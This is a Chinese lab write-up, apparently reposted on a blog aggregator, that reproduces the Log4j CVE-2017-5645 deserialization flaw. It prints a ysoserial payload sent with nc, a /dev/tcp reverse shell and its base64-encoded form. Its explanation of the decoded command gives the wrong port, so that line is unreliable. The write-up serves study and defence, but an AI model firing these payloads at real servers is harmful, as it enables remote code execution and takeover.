Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞

这篇具有很好参考价值的文章主要介绍了Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

1.1 漏洞描述

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

说明 内容
漏洞编号 CVE-2017-5645
漏洞名称 Apache Log4j Server 反序列化命令执行漏洞
漏洞评级 高危
影响范围 Apache Log4j 2.8.2之前的2.x版本
漏洞描述 Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

1.2 漏洞复现

1.2.1 环境启动

Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞,log4j,apache,网络安全,系统安全,漏洞复现

1.2.2 漏洞验证

使用nmap工具扫描开放的端口

Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞,log4j,apache,网络安全,系统安全,漏洞复现

可以看到4712端口是正常开启的。

使用ysoserial生成payload,然后直接发送给192.168.188.185:4712端口即可。

ysoserial是什么?

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

ysoserial项目地址:

https://github.com/frohoff/ysoserial

下载后打包成jar文件进行使用。

执行命令

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.188.185 4712

Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞,log4j,apache,网络安全,系统安全,漏洞复现

执行命令进入容器

sudo docker exec -it [容器id] /bin/bash

Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞,log4j,apache,网络安全,系统安全,漏洞复现

执行命令

cd tmp

进入tmp文件夹,查看目录文件,可以看到testsuccess文件,可见touch /tmp/testsuccess执行成功。

Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞,log4j,apache,网络安全,系统安全,漏洞复现

1.2.3 漏洞利用

只需要将命令替换成反弹shell的命令,就能够成功弹回shell。

bash -i >& /dev/tcp/192.168.188.185/6666 0>&1

将构造的payload进行base64加密。

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx

Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞,log4j,apache,网络安全,系统安全,漏洞复现

kali开启监听

nc -lnvp 6666

Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞,log4j,apache,网络安全,系统安全,漏洞复现

再开启一个新的终端,输入如下内容。

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.188.185 4712

命令解析:

  • bash -c:这个选项告诉 Bash 执行后面的一系列命令。
  • {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}:这是一个经过 Base64 编码的命令字符串,解码后为bash -i >& /dev/tcp/192.168.188.185/4712 0>&1。意思是将 Bash 的输入和输出重定向到指定的 IP 地址和端口。
  • {base64,-d}:这个命令使用 base64 工具进行 Base64 解码。
  • {bash,-i}:这个命令会执行解码后的 Bash 命令,即与指定的 IP 地址和端口建立一个交互式的 Shell 连接。

Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞,log4j,apache,网络安全,系统安全,漏洞复现

反弹成功

Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞,log4j,apache,网络安全,系统安全,漏洞复现

能够正确执行命令,shell反弹成功

Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞,log4j,apache,网络安全,系统安全,漏洞复现

1.3 加固建议

更新到最新版本文章来源地址https://www.toymoban.com/news/detail-723498.html

到了这里,关于Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CVE-2021-44228 Apache log4j 远程命令执行漏洞

    一、漏洞原理 log4j(log for java)是由Java编写的可靠、灵活的日志框架,是Apache旗下的一个开源项目,使用Log4j,我们更加方便的记录了日志信息,它不但能控制日志输出的目的地,也能控制日志输出的内容格式;通过定义不同的日志级别,可以更加精确的控制日志的生成过程,

    2024年02月08日
    浏览(40)
  • shiro反序列化和log4j

    进入vulhb目录下的weblogic,复现CVE-2018-2894漏洞: 查看docker-compose的配置文件: 如图,里面有一个镜像文件的信息和服务名,以及它的 端口号 (后面要用): 然后使用下面命令,搭建docker-compose并启动: 如图,安装成功: 原理如下

    2024年02月07日
    浏览(35)
  • 【java安全】Log4j反序列化漏洞

    关于Apache Log4j Log4j是Apache的开源项目,可以实现对System.out等打印语句的替代,并且可以结合spring等项目,实现把日志输出到控制台或文件等。而且它还可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码,满足了大多数要求。 就是用来打印日志的 漏洞成因

    2024年02月11日
    浏览(35)
  • fastJson反序列化漏洞和log4j漏洞

    有 attach.class (编译好的文件) 攻击者建立rmi服务端,于rmi服务端建造一系列攻击对象 ,假设远程地址为 http://abc,可url链接到恶意class-attach.class 若被攻击者访问到此服务 rmi://abc/attach.class ,静态代码块会优先加载,无需构造对象。 fastJson通过序列化漏洞 fastJson=1.2.47 (高版本添

    2024年02月16日
    浏览(41)
  • Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

    什么是JNDI JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。 JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。 简单从安全角度

    2024年02月09日
    浏览(32)
  • log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)

    自从log4j2.14.1版本爆出漏洞后,官方截止目前为止,共发布了3个稳定版本,分别是15.0、16.0、17.0。 本篇文章就分析一下每个版本都做了哪些事情,以此来评估每个版本升级的必要性。 分割线--------------------------------------------------------------------------------------- 在28号晚上,log4

    2024年02月07日
    浏览(33)
  • 完美解决:apache log4j cannot resolve问题

    引入下列pom文件

    2024年02月16日
    浏览(32)
  • 036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

    1、JavaEE-组件安全-Log4j 2、JavaEE-组件安全-Fastjson 3、JavaEE-基本了解-JNDI-API 演示案例: ➢Java-三方组件-Log4JJNDI ➢Java-三方组件-FastJson反射 Jar仓库: https://mvnrepository.com/ Maven配置: https://www.jb51.net/article/259780.htm JNDI相关概念: 1、JNDI是一个接口,在这个接口下会有多种目录系统

    2024年02月21日
    浏览(39)
  • 【异常】org.apache.logging.log4j.LoggingException: log4j-slf4j-impl cannot be present with log4j-to-slf4

    这个错误表明在你的项目中同时引入了 log4j-slf4j-impl 和 log4j-to-slf4j 两个依赖,而这两者是互斥的,不能同时存在。 解决这个问题有两种方式: 移除冲突的依赖 : 在你的项目的构建文件(如 pom.xml )中,找到引入的依赖列表,检查是否同时引入了 log4j-slf4j-impl 和 log4j-to-slf

    2024年02月04日
    浏览(25)
  • Maven编译java及解决程序包org.apache.logging.log4j不存在问题

    1、首先新建一个文件夹,比如hello Hello里新建pom.xml 注意上面dependencies部分用于解决程序包org.apache.logging.log4j不存在问题,即 Maven编译java及解决程序包org.apache.logging.log4j不存在问题 和文件夹srcmainjava java里新建Exploit.java和LogTest.java Exploit.java LogTest.java 2、然后使用meve compile编

    2024年02月10日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包